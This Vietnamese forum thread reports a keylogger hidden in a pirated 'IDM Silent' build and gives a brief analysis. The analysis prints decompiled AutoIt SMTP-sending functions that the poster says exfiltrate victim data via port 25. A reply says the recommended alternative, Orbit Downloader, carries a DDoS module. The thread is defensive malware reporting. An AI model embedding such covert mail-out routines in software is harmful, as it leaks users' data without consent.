Phát hiện KeyLogger ẩn náu trong bản IDM Silent “không cần crack”

DDos

VIP Members
22/10/2013
524
2.191 bài viết
Phát hiện KeyLogger ẩn náu trong bản IDM Silent “không cần crack”
Một Keylogger vừa tình cờ được phát hiện trong bản IDM Silent “không cần crack” đang được lan tràn trên Internet. Key Logger này được phát hiện nằm trong file: “C:windowssystem32IDMSL Auto Update.exe”, với mục đích là tự động update bản mới của IDM. Nhưng thực chất lại chứa những đoạn mã nhằm đánh cắp thông tin người dùng.
IDM Silent là bản IDM được sử dụng rộng rãi và chia sẻ tràn lan trên internet. Đây là bản dùng miễn phí mà không cần không cần phải “crack”.
Những bản Crack hay patch, keygen luôn tiềm ẩn những nguy cơ. Nếu bạn đang sử dụng phiên bản này nên tiến hành xóa bỏ file này (nó không ảnh hưởng tới chương trình của bạn) hoặc dùng một bản IDM khác. Tôi cũng giới thiệu bạn một chương tình download khác có các tính năng tương tự và miễn phí là Orbit Downloader (click vào tên đển download).
[h=3]Phân tích Keyloger[/h]File này được nén bằng UPX. Sử dụng CFF Explorer để unpack chúng ta được
anh211.png
Sau quá trình dịch ngược có thể thu được mã nguồn của chương trình này
anh511-700x585.png
Phát hiện được đoạn code nghi ngờ:
Func _inetmail($s_mailto, $s_mailsubject, $s_mailbody)
Local $prev = Opt("ExpandEnvStrings", 1)
Local $var, $dflt = RegRead("HKCUSoftwareClientsMail", "")
If $dflt = "Windows Live Mail" Then
$var = RegRead("HKCRWLMail.Url.MailtoShellopencommand", "")
Else
$var = RegRead("HKCRmailtoshellopencommand", "")
EndIf
Local $ret = Run(StringReplace($var, "%1", _inetexplorercapable("mailto:" & $s_mailto & "?
subject=" & $s_mailsubject & "&body=" & $s_mailbody)))
Local $nerror = @error, $nextended = @extended
Opt("ExpandEnvStrings", $prev)
Return SetError($nerror, $nextended, $ret)
EndFunc
Thêm nữa
Func _inetsmtpmail($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject =
"", $as_body = "", $s_helo = "", $s_first = " ", $b_trace = 0)
If $s_smtpserver = "" OR $s_fromaddress = "" OR $s_toaddress = "" OR $s_fromname = "" OR
StringLen($s_fromname) > 256 Then Return SetError(1, 0, 0)
If $s_helo = "" Then $s_helo = @ComputerName
If TCPStartup() = 0 Then Return SetError(2, 0, 0)
Local $s_ipaddress, $i_count
StringRegExp($s_smtpserver, "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|
[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9]
[0-9]?)")
If @extended Then
$s_ipaddress = $s_smtpserver
Else
$s_ipaddress = TCPNameToIP($s_smtpserver)
EndIf
If $s_ipaddress = "" Then
TCPShutdown()
Return SetError(3, 0, 0)
EndIf
Local $v_socket = TCPConnect($s_ipaddress, 25)
If $v_socket = -1 Then
TCPShutdown()
Return SetError(4, 0, 0)
EndIf
Local $s_send[6], $s_replycode[6]
$s_send[0] = "HELO " & $s_helo & @CRLF
If StringLeft($s_helo, 5) = "EHLO " Then $s_send[0] = $s_helo & @CRLF
$s_replycode[0] = "250"
$s_send[1] = "MAIL FROM: " & @CRLF
$s_replycode[1] = "250"
$s_send[2] = "RCPT TO: " & @CRLF
$s_replycode[2] = "250"
$s_send[3] = "DATA" & @CRLF
$s_replycode[3] = "354"
Local $aresult = _date_time_gettimezoneinformation()
Local $bias = -$aresult[1] / 60
Local $biash = Int($bias)
Local $biasm = 0
If $biash $bias Then $biasm = Abs($bias - $biash) * 60
$bias = StringFormat(" (%+.2d%.2d)", $biash, $biasm)
$s_send[4] = "From:" & $s_fromname & "" & @CRLF & "To:" & "" & @CRLF & "Subject:"
&$s_subject & @CRLF & "Mime-Version: 1.0" & @CRLF & "Date: " & _datedayofweek(@WDAY, 1) &
", " & @MDAY & " " & _datetomonth(@MON, 1) & " " & @YEAR & " " & @HOUR & ":" & @MIN & ":" &
@SEC & $bias & @CRLF & "Content-Type: text/plain; charset=US-ASCII" & @CRLF & @CRLF
$s_replycode[4] = ""
$s_send[5] = @CRLF & "." & @CRLF
$s_replycode[5] = "250"
If __smtpsend($v_socket, $s_send[0], $s_replycode[0], $b_trace, "220", $s_first) Then
Return SetError(50, 0, 0)
For $i_count = 1 To UBound($s_send) - 2
If __smtpsend($v_socket, $s_send[$i_count], $s_replycode[$i_count], $b_trace) Then Return
SetError(50 + $i_count, 0, 0)
Next
For $i_count = 0 To UBound($as_body) - 1
If StringLeft($as_body[$i_count], 1) = "." Then $as_body[$i_count] = "." &
$as_body[$i_count]
If __smtpsend($v_socket, $as_body[$i_count] & @CRLF, "", $b_trace) Then Return SetError(500
+ $i_count, 0, 0)
Next
$i_count = UBound($s_send) - 1
If __smtpsend($v_socket, $s_send[$i_count], $s_replycode[$i_count], $b_trace) Then Return
SetError(5000, 0, 0)
TCPCloseSocket($v_socket)
TCPShutdown()
Return 1
EndFunc
Đoạn
StringRegExp($s_smtpserver, "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|
[01]?[0-9] [0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9]
[0-9]?)")
Chính là máy chủ email mà KeyLogger này sử dụng, chương trình này không dùng các máy chủ mail thông thường như Gmail, Yahoo, hay hotmail. Sử dụng các kết nối TCP đến cổng 25 để gửi các thông tin, dữ liệu từ máy nạn nhân.

 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Re: Phát hiện KeyLogger ẩn náu trong bản IDM Silent “không cần crack”

Furthermore, it has been proved that since version 4.1.1.15 Orbit Downloader includes a botnet-like module which performs DDoS attacks without the user knowledge or permission. Because of this dubious behavior, it is being detected as a virus by some security companies and its uninstallation is recommended. ~)~
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Phát hiện KeyLogger ẩn náu trong bản IDM Silent “không cần crack”

Đoạn
StringRegExp($s_smtpserver, "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|
[01]?[0-9] [0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9]
[0-9]?)")

Chính là máy chủ email mà KeyLogger này sử dụng, chương trình này không dùng các máy chủ mail thông thường như Gmail, Yahoo, hay hotmail. Sử dụng các kết nối TCP đến cổng 25 để gửi các thông tin, dữ liệu từ máy nạn nhân.

Cho mình hỏi địa chỉ IP của máy chủ email là gì?
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Phát hiện KeyLogger ẩn náu trong bản IDM Silent “không cần crack”

DDos;12292 đã viết:
Chính là máy chủ email mà KeyLogger này sử dụng, chương trình này không dùng các máy chủ mail thông thường như Gmail, Yahoo, hay hotmail. Sử dụng các kết nối TCP đến cổng 25 để gửi các thông tin, dữ liệu từ máy nạn nhân.

Đồng chí nào sử dụng pháp này chắc là nghiên cứu khá sâu đấy. Không bị lộ info và cũng khó bị antivirus phát hiện hơn so với cách gửi email trực tiếp từ máy nạn nhân.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên